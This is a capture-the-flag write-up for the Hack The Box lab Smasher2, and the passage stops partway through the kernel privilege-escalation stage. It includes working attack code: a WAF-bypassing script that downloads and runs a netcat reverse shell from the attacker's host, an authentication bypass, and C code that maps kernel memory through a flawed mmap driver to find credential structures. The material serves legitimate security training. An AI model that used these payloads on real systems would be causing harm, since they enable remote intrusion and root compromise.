Hack The Box - Smasher2
Hack The Box - Smasher2
Quick Summary
Hey guys, today smasher2 retired and here’s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE
combined with a WAF
bypass, then a kernel module with an insecure mmap
handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. It’s a Linux box and its ip is 10.10.10.135
, I added it to /etc/hosts
as smasher2.htb
. Let’s jump right in!
Nmap
As always we will start with nmap
to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 07:32 EST
Nmap scan report for smasher2.htb (10.10.10.135)
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)
| 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)
|_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds
root@kali:~/Desktop/HTB/boxes/smasher2#
We got ssh
on port 22, dns
on port 53 and http
on port 80.
DNS
First thing I did was to enumerate vhosts
through the dns
server and I got 1 result:
root@kali:~/Desktop/HTB/boxes/smasher2# dig axfr smasher2.htb @10.10.10.135
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr smasher2.htb @10.10.10.135
;; global options: +cmd
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
smasher2.htb. 604800 IN NS smasher2.htb.
smasher2.htb. 604800 IN A 127.0.0.1
smasher2.htb. 604800 IN AAAA ::1
smasher2.htb. 604800 IN PTR wonderfulsessionmanager.smasher2.htb.
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
;; Query time: 299 msec
;; SERVER: 10.10.10.135#53(10.10.10.135)
;; WHEN: Fri Dec 13 07:36:43 EST 2019
;; XFR size: 6 records (messages 1, bytes 242)
root@kali:~/Desktop/HTB/boxes/smasher2#
wonderfulsessionmanager.smasher2.htb
, I added it to my hosts
file.
Web Enumeration
http://smasher2.htb
had the default Apache
index page:
http://wonderfulsessionmanager.smasher2.htb
:
The only interesting here was the login page:
I kept testing it for a while and the responses were like this one:
It didn’t request any new pages so I suspected that it’s doing an AJAX
request, I intercepted the login request to find out the endpoint it was requesting:
POST /auth HTTP/1.1
Host: wonderfulsessionmanager.smasher2.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://wonderfulsessionmanager.smasher2.htb/login
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 80
Connection: close
Cookie: session=eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg
{"action":"auth","data":{"username":"test","password":"test"}}
While browsing http://wonderfulsessionmanager.smasher2.htb
I had gobuster
running in the background on http://smasher2.htb/
:
root@kali:~/Desktop/HTB/boxes/smasher2# gobuster dir -u http://smasher2.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://smasher2.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/13 07:37:54 Starting gobuster
===============================================================
/.git/HEAD (Status: 403)
/.hta (Status: 403)
/.bash_history (Status: 403)
/.config (Status: 403)
/.bashrc (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.profile (Status: 403)
/.mysql_history (Status: 403)
/.sh_history (Status: 403)
/.svn/entries (Status: 403)
/_vti_bin/_vti_adm/admin.dll (Status: 403)
/_vti_bin/shtml.dll (Status: 403)
/_vti_bin/_vti_aut/author.dll (Status: 403)
/akeeba.backend.log (Status: 403)
/awstats.conf (Status: 403)
/backup (Status: 301)
/development.log (Status: 403)
/global.asa (Status: 403)
/global.asax (Status: 403)
/index.html (Status: 200)
/main.mdb (Status: 403)
/php.ini (Status: 403)
/production.log (Status: 403)
/readfile (Status: 403)
/server-status (Status: 403)
/spamlog.log (Status: 403)
/Thumbs.db (Status: 403)
/thumbs.db (Status: 403)
/web.config (Status: 403)
/WS_FTP.LOG (Status: 403)
===============================================================
2019/12/13 07:39:17 Finished
===============================================================
root@kali:~/Desktop/HTB/boxes/smasher2#
The only result that wasn’t 403
was /backup
so I checked that and found 2 files:
Note: Months ago when I solved this box for the first time /backup
was protected by basic http
authentication, that wasn’t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasn’t an important step, it was just heavy brute force so the box is better without it.
I downloaded the files to my box:
root@kali:~/Desktop/HTB/boxes/smasher2# mkdir backup
root@kali:~/Desktop/HTB/boxes/smasher2# cd backup/
root@kali:~/Desktop/HTB/boxes/smasher2/backup# wget http://smasher2.htb/backup/auth.py
--2019-12-13 07:40:19-- http://smasher2.htb/backup/auth.py
Resolving smasher2.htb (smasher2.htb)... 10.10.10.135
Connecting to smasher2.htb (smasher2.htb)|10.10.10.135|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4430 (4.3K) [text/x-python]
Saving to: ‘auth.py’
auth.py 100%[=======================================================================================================================================>] 4.33K --.-KB/s in 0.07s
2019-12-13 07:40:20 (64.2 KB/s) - ‘auth.py’ saved [4430/4430]
root@kali:~/Desktop/HTB/boxes/smasher2/backup# wget http://smasher2.htb/backup/ses.so
--2019-12-13 07:40:43-- http://smasher2.htb/backup/ses.so
Resolving smasher2.htb (smasher2.htb)... 10.10.10.135
Connecting to smasher2.htb (smasher2.htb)|10.10.10.135|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18608 (18K)
Saving to: ‘ses.so’
ses.so 100%[=======================================================================================================================================>] 18.17K 85.2KB/s in 0.2s
2019-12-13 07:40:44 (85.2 KB/s) - ‘ses.so’ saved [18608/18608]
root@kali:~/Desktop/HTB/boxes/smasher2/backup#
By looking at auth.py
I knew that these files were related to wonderfulsessionmanager.smasher2.htb
.
auth.py: Analysis
auth.py
:
#!/usr/bin/env python
import ses
from flask import session,redirect, url_for, request,render_template, jsonify,Flask, send_from_directory
from threading import Lock
import hashlib
import hmac
import os
import base64
import subprocess
import time
def get_secure_key():
m = hashlib.sha1()
m.update(os.urandom(32))
return m.hexdigest()
def craft_secure_token(content):
h = hmac.new("HMACSecureKey123!", base64.b64encode(content).encode(), hashlib.sha256)
return h.hexdigest()
lock = Lock()
app = Flask(__name__)
app.config['SECRET_KEY'] = get_secure_key()
Managers = {}
def log_creds(ip, c):
with open("creds.log", "a") as creds:
creds.write("Login from {} with data {}:{}\n".format(ip, c["username"], c["password"]))
creds.close()
def safe_get_manager(id):
lock.acquire()
manager = Managers[id]
lock.release()
return manager
def safe_init_manager(id):
lock.acquire()
if id in Managers:
del Managers[id]
else:
login = ["<REDACTED>", "<REDACTED>"]
Managers.update({id: ses.SessionManager(login, craft_secure_token(":".join(login)))})
lock.release()
def safe_have_manager(id):
ret = False
lock.acquire()
ret = id in Managers
lock.release()
return ret
@app.before_request
def before_request():
if request.path == "/":
if not session.has_key("id"):
k = get_secure_key()
safe_init_manager(k)
session["id"] = k
elif session.has_key("id") and not safe_have_manager(session["id"]):
del session["id"]
return redirect("/", 302)
else:
if session.has_key("id") and safe_have_manager(session["id"]):
pass
else:
return redirect("/", 302)
@app.after_request
def after_request(resp):
return resp
@app.route('/assets/<path:filename>')
def base_static(filename):
return send_from_directory(app.root_path + '/assets/', filename)
@app.route('/', methods=['GET'])
def index():
return render_template("index.html")
@app.route('/login', methods=['GET'])
def view_login():
return render_template("login.html")
@app.route('/auth', methods=['POST'])
def login():
ret = {"authenticated": None, "result": None}
manager = safe_get_manager(session["id"])
data = request.get_json(silent=True)
if data:
try:
tmp_login = dict(data["data"])
except:
pass
tmp_user_login = None
try:
is_logged = manager.check_login(data)
secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())]
try:
tmp_user_login = {"username": tmp_login["username"], "password": tmp_login["password"]}
except:
pass
if not is_logged[0]:
ret["authenticated"] = False
ret["result"] = "Cannot authenticate with data: %s - %s" % (is_logged[1], "Too many tentatives, wait 2 minutes!" if manager.blocked else "Try again!")
else:
if tmp_user_login is not None:
log_creds(request.remote_addr, tmp_user_login)
ret["authenticated"] = True
ret["result"] = {"endpoint": secret_token_info[0], "key": secret_token_info[1], "creation_date": secret_token_info[2]}
except TypeError as e:
ret["authenticated"] = False
ret["result"] = str(e)
else:
ret["authenticated"] = False
ret["result"] = "Cannot authenticate missing parameters."
return jsonify(ret)
@app.route("/api/<key>/job", methods=['POST'])
def job(key):
ret = {"success": None, "result": None}
manager = safe_get_manager(session["id"])
if manager.secret_key == key:
data = request.get_json(silent=True)
if data and type(data) == dict:
if "schedule" in data:
out = subprocess.check_output(['bash', '-c', data["schedule"]])
ret["success"] = True
ret["result"] = out
else:
ret["success"] = False
ret["result"] = "Missing schedule parameter."
else:
ret["success"] = False
ret["result"] = "Invalid value provided."
else:
ret["success"] = False
ret["result"] = "Invalid token."
return jsonify(ret)
app.run(host='127.0.0.1', port=5000)
I read the code and these are the things that interest us:
After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job
:
ret["authenticated"] = True
ret["result"] = {"endpoint": secret_token_info[0], "key": secret_token_info[1], "creation_date": secret_token_info[2]}
secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())]
That endpoint only accepts POST
requests:
@app.route("/api/<key>/job", methods=['POST'])
And the sent data has to be json
:
data = request.get_json(silent=True)
if data and type(data) == dict:
...
Through that endpoint we can execute system commands by providing them in a parameter called schedule
:
if "schedule" in data:
out = subprocess.check_output(['bash', '-c', data["schedule"]])
ret["success"] = True
ret["result"] = out
session.so: Analysis –> Authentication Bypass
session.so
is a compiled shared python library, so
stands for shared object:
root@kali:~/Desktop/HTB/boxes/smasher2/backup# file ses.so
ses.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0c67d40b77854318b10417b4aedfee95a52f0550, not stripped
root@kali:~/Desktop/HTB/boxes/smasher2/backup#
I opened it in ghidra
and started checking the functions. Two functions caught my attention, get_internal_pwd()
and get_internal_usr()
:
I looked at the decompiled code of both of them and noticed something strange, they were the exact same:
get_internal_pwd()
:
undefined8 get_internal_pwd(undefined8 param_1)
{
long *plVar1;
undefined8 uVar2;
plVar1 = (long *)PyObject_GetAttrString(param_1,"user_login");
uVar2 = PyList_GetItem(plVar1,0);
uVar2 = PyString_AsString(uVar2);
*plVar1 = *plVar1 + -1;
if (*plVar1 == 0) {
(**(code **)(plVar1[1] + 0x30))(plVar1);
}
return uVar2;
}
get_internal_usr()
:
undefined8 get_internal_usr(undefined8 param_1)
{
long *plVar1;
undefined8 uVar2;
plVar1 = (long *)PyObject_GetAttrString(param_1,"user_login");
uVar2 = PyList_GetItem(plVar1,0);
uVar2 = PyString_AsString(uVar2);
*plVar1 = *plVar1 + -1;
if (*plVar1 == 0) {
(**(code **)(plVar1[1] + 0x30))(plVar1);
}
return uVar2;
}
root@kali:~/Desktop/HTB/boxes/smasher2/backup# diff getinternalusr getinternalpwd
1c1
< undefined8 get_internal_usr(undefined8 param_1)
---
> undefined8 get_internal_pwd(undefined8 param_1)
root@kali:~/Desktop/HTB/boxes/smasher2/backup#
So in theory, since the two function are identical, providing the username as a password should work. Which means that it’s just a matter of finding an existing username and we’ll be able to bypass the authentication.
I tried some common usernames before attempting to use wfuzz
, Administrator
worked:
WAF Bypass –> RCE –> Shell as dzonerzy –> User Flag
I wrote a small script to execute commands through /api/<key>/job
as we saw earlier in auth.py
, the script was meant for testing purposes:
#!/usr/bin/python3
from requests import post
cookies = {"session":"eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg"}
while True:
cmd = input("cmd: ")
req = post("http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job", json={"schedule":cmd}, cookies=cookies)
response = req.text
print(response)
Testing with whoami
worked just fine:
root@kali:~/Desktop/HTB/boxes/smasher2# ./test.py
cmd: whoami
{"result":"dzonerzy\n","success":true}
cmd:
However when I tried other commands I got a 403
response indicating that the server was protected by a WAF
:
cmd: curl http://10.10.xx.xx
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job
on this server.<br />
</p>
<address>Apache/2.4.29 (Ubuntu) Server at wonderfulsessionmanager.smasher2.htb Port 80</address>
</body></html>
cmd:
I could easily bypass it by inserting single quotes in the command:
cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
cmd:
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.135 - - [13/Dec/2019 08:18:33] code 404, message File not found
10.10.10.135 - - [13/Dec/2019 08:18:33] "GET /test HTTP/1.1" 404 -
To automate the exploitation process I wrote this small exploit:
#!/usr/bin/python3
import requests
YELLOW = "\033[93m"
GREEN = "\033[32m"
def getKey(session):
req = session.post("http://wonderfulsessionmanager.smasher2.htb/auth", json={"action":"auth","data":{"username":"Administrator","password":"Administrator"}})
response = req.json()
key = response['result']['key']
return key
def exploit(session, key):
download_payload = "\'w\'g\'e\'t \'h\'t\'t\'p\':\'/\'/\'1\'0\'.\'1\'0\'.\'x\'x\'.\'x\'x\'/\'s\'h\'e\'l\'l\'.\'s\'h\'"
print(YELLOW + "[+] Downloading payload")
download_req = session.post("http://wonderfulsessionmanager.smasher2.htb/api/{}/job".format(key), json={"schedule":download_payload})
print(GREEN + "[*] Done")
exec_payload = "s\'h\' \'s\'h\'e\'l\'l\'.\'s\'h"
print(YELLOW + "[+] Executing payload")
exec_req = session.post("http://wonderfulsessionmanager.smasher2.htb/api/{}/job".format(key), json={"schedule":exec_payload})
print(GREEN + "[*] Done. Exiting ...")
exit()
session = requests.Session()
session.get("http://wonderfulsessionmanager.smasher2.htb/login")
print(YELLOW +"[+] Authenticating")
key = getKey(session)
print(GREEN + "[*] Session: " + session.cookies.get_dict()['session'])
print(GREEN + "[*] key: " + key)
exploit(session, key)
The exploit sends 2 commands, the first one is a wget
command that downloads shell.sh
and the other one executes it.
shell.sh
:
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
I hosted it on a python server and I started a netcat
listener on port 1337 then I ran the exploit:
We owned user.
dhid.ko: Enumeration
After getting a shell I copied my public ssh
key to /home/dzonerzy/.ssh/authorized_keys
and got ssh access.
In the home directory of dzonerzy
there was a README
containing a message from him saying that we’ll need to think outside the box to root smasher2:
dzonerzy@smasher2:~$ ls -al
total 44
drwxr-xr-x 6 dzonerzy dzonerzy 4096 Feb 17 2019 .
drwxr-xr-x 3 root root 4096 Feb 15 2019 ..
lrwxrwxrwx 1 dzonerzy dzonerzy 9 Feb 15 2019 .bash_history -> /dev/null
-rw-r--r-- 1 dzonerzy dzonerzy 220 Feb 15 2019 .bash_logout
-rw-r--r-- 1 dzonerzy dzonerzy 3799 Feb 16 2019 .bashrc
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .cache
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .gnupg
drwx------ 5 dzonerzy dzonerzy 4096 Feb 17 2019 .local
-rw-r--r-- 1 dzonerzy dzonerzy 807 Feb 15 2019 .profile
-rw-r--r-- 1 root root 900 Feb 16 2019 README
drwxrwxr-x 4 dzonerzy dzonerzy 4096 Dec 13 12:50 smanager
-rw-r----- 1 root dzonerzy 33 Feb 17 2019 user.txt
dzonerzy@smasher2:~$ cat README
.|'''.| '||
||.. ' .. .. .. .... .... || .. .... ... ..
''|||. || || || '' .|| ||. ' ||' || .|...|| ||' ''
. '|| || || || .|' || . '|.. || || || ||
|'....|' .|| || ||. '|..'|' |'..|' .||. ||. '|...' .||. v2.0
by DZONERZY
Ye you've come this far and I hope you've learned something new, smasher wasn't created
with the intent to be a simple puzzle game... but instead I just wanted to pass my limited
knowledge to you fellow hacker, I know it's not much but this time you'll need more than
skill, you will need to think outside the box to complete smasher 2 , have fun and happy
Hacking!
free(knowledge);
free(knowledge);
* error for object 0xd00000000b400: pointer being freed was not allocated *
dzonerzy@smasher2:~$
After some enumeration, I checked the auth
log and saw this line:
dzonerzy@smasher2:~$ cat /var/log/auth.log
----------
Redacted
----------
Dec 13 11:49:34 smasher2 sudo: root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/sbin/insmod /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
----------
Redacted
----------
dzonerzy@smasher2:~$
insmod
(stands for insert module
) is a tool used to load kernel modules. dhid.ko
is a kernel module (ko
stands for kernel object)
dzonerzy@smasher2:~$ cd /lib/modules/4.15.0-45-generic/kernel/drivers/hid/
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ file dhid.ko
dhid.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=d4315261f7c9c38393394f6779378abcff6270d2, not stripped
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$
I checked the loaded kernel modules and that module was still loaded:
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ lsmod | grep dhid
dhid 16384 0
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$
We can use modinfo
to list the information about that module, as you can see it was written by dzonerzy
:
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ modinfo dhid
filename: /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
version: 1.0
description: LKM for dzonerzy dhid devices
author: DZONERZY
license: GPL
srcversion: 974D0512693168483CADFE9
depends:
retpoline: Y
name: dhid
vermagic: 4.15.0-45-generic SMP mod_unload
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$
Last thing I wanted to check was if there was device driver file for the module:
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ ls -la /dev/ | grep dhid
crwxrwxrwx 1 root root 243, 0 Dec 13 11:49 dhid
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$
I downloaded the module on my box to start analyzing it:
root@kali:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa dzonerzy@smasher2.htb:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./
dhid.ko 100% 8872 16.1KB/s 00:00
root@kali:~/Desktop/HTB/boxes/smasher2# file dhid.ko
dhid.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=d4315261f7c9c38393394f6779378abcff6270d2, not stripped
root@kali:~/Desktop/HTB/boxes/smasher2#
dhid.ko: Analysis
I opened the module in ghidra
then I started checking the functions:
The function dev_read()
had a hint that this is the intended way to root the box:
long dev_read(undefined8 param_1,undefined8 param_2)
{
int iVar1;
__fentry__();
iVar1 = _copy_to_user(param_2,"This is the right way, please exploit this shit!",0x30);
return (ulong)(-(uint)(iVar1 == 0) & 0xf) - 0xe;
}
One interesting function that caught my attention was dev_mmap()
:
ulong dev_mmap(undefined8 param_1,long *param_2)
{
uint uVar1;
ulong uVar2;
uint uVar3;
__fentry__();
uVar3 = (int)param_2[1] - *(int *)param_2;
uVar1 = (uint)(param_2[0x13] << 0xc);
printk(&DAT_00100380,(ulong)uVar3,param_2[0x13] << 0xc & 0xffffffff);
if ((((int)uVar3 < 0x10001) && (uVar1 < 0x1001)) && ((int)(uVar3 + uVar1) < 0x10001)) {
uVar1 = remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);
uVar2 = (ulong)uVar1;
if (uVar1 == 0) {
printk(&DAT_0010057b);
}
else {
uVar2 = 0xfffffff5;
printk(&DAT_00100567);
}
}
else {
uVar2 = 0xfffffff5;
printk(&DAT_001003b0);
}
return uVar2;
}
In case you don’t know what mmap
is, simply mmap
is a system call which is used to map memory to a file or a device. (Check this)
The function dev_mmap()
is a custom mmap
handler.
The interesting part here is the call to remap_pfn_range()
function (remap kernel memory to userspace):
remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);
I checked the documentation of remap_pfn_range()
to know more about it, the function takes 5 arguments:
int remap_pfn_range ( struct vm_area_struct * vma,
unsigned long addr,
unsigned long pfn,
unsigned long size,
pgprot_t prot);
Description of each argument:
struct vm_area_struct * vma
user vma to map to
unsigned long addr
target user address to start at
unsigned long pfn
physical address of kernel memory
unsigned long size
size of map area
pgprot_t prot
page protection flags for this mapping
If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:
ulong dev_mmap(undefined8 param_1,long *param_2)
{
uint uVar1;
ulong uVar2;
uint uVar3;
__fentry__();
uVar3 = (int)param_2[1] - *(int *)param_2;
uVar1 = (uint)(param_2[0x13] << 0xc);
printk(&DAT_00100380,(ulong)uVar3,param_2[0x13] << 0xc & 0xffffffff);
if ((((int)uVar3 < 0x10001) && (uVar1 < 0x1001)) && ((int)(uVar3 + uVar1) < 0x10001)) {
uVar1 = remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);
...
This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.
dhid.ko: Exploitation –> Root Shell –> Root Flag
Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, what’s going to happen is that we’ll map a huge amount of memory and search through it for our process’s cred
structure (The cred
structure holds our process credentials) then overwrite our uid
and gid
with 0
and execute /bin/sh
. Let’s go through it step by step.
First, we need to make sure that it’s really exploitable, we’ll try to map a huge amount of memory and check if it worked:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
int main(int argc, char * const * argv){
printf("[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);
if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}
printf("[*] Open OK fd: %d\n", fd);
unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED){
perror("[!] Failed to mmap");
close(fd);
return -1;
}
printf("[*] mmap OK address: %lx\n", addr);
int stop = getchar();
return 0;
}
I compiled the code and uploaded it to the box:
root@kali:~/Desktop/HTB/boxes/smasher2# gcc -o pwn pwn.c
root@kali:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa ./pwn dzonerzy@smasher2.htb:/dev/shm/pwn
pwn 100% 17KB 28.5KB/s 00:00
root@kali:~/Desktop/HTB/boxes/smasher2#
Then I ran it:
dzonerzy@smasher2:/dev/shm$ ./pwn
[+] PID: 8186
[*] Open OK fd: 3
[*] mmap OK address: 42424000
From another ssh
session I checked the process memory mapping, the attempt was successful:
dzonerzy@smasher2:/dev/shm$ cat /proc/8186/maps
42424000-132424000 rw-s 00000000 00:06 440 /dev/dhid
----------
Redacted
----------
dzonerzy@smasher2:/dev/shm$
Now we can start searching for the cred
structure that belongs to our process, if we take a look at the how the cred
structure looks like:
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
}
We’ll notice that the first 8 integers (representing our uid
, gid
, saved uid
, saved gid
, effective uid
, effective gid
, uid
and gid
for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
These 8 integers are followed by a variable called securebits
:
unsigned securebits; /* SUID-less security management */
Then that variable is followed by our capabilities:
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred
structure pattern we’ll overwrite each integer of the 8 with a 0
and check if our uid
changed to 0
, we’ll keep doing it until we overwrite the one which belongs to our process, then we’ll overwrite the capabilities with 0xffffffffffffffff
and execute /bin/sh
. Let’s try to implement the search for cred
structures first.
To do that we will get our uid
with getuid()
:
unsigned int uid = getuid();
Then search for 8 consecutive integers that are equal to our uid
, when we find a cred
structure we’ll print its pointer and keep searching:
while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);
}
addr++;
}
pwn.c
:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
int main(int argc, char * const * argv){
printf("[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);
if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}
printf("[*] Open OK fd: %d\n", fd);
unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED){
perror("[!] Failed to mmap");
close(fd);
return -1;
}
printf("[*] mmap OK address: %lx\n", addr);
unsigned int uid = getuid();
printf("[*] Current UID: %d\n", uid);
unsigned int credIt = 0;
unsigned int credNum = 0;
while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);
}
addr++;
}
fflush(stdout);
int stop = getchar();
return 0;
}
It worked:
dzonerzy@smasher2:/dev/shm$ ./pwn
[+] PID: 1215
[*] Open OK fd: 3
[*] mmap OK address: 42424000
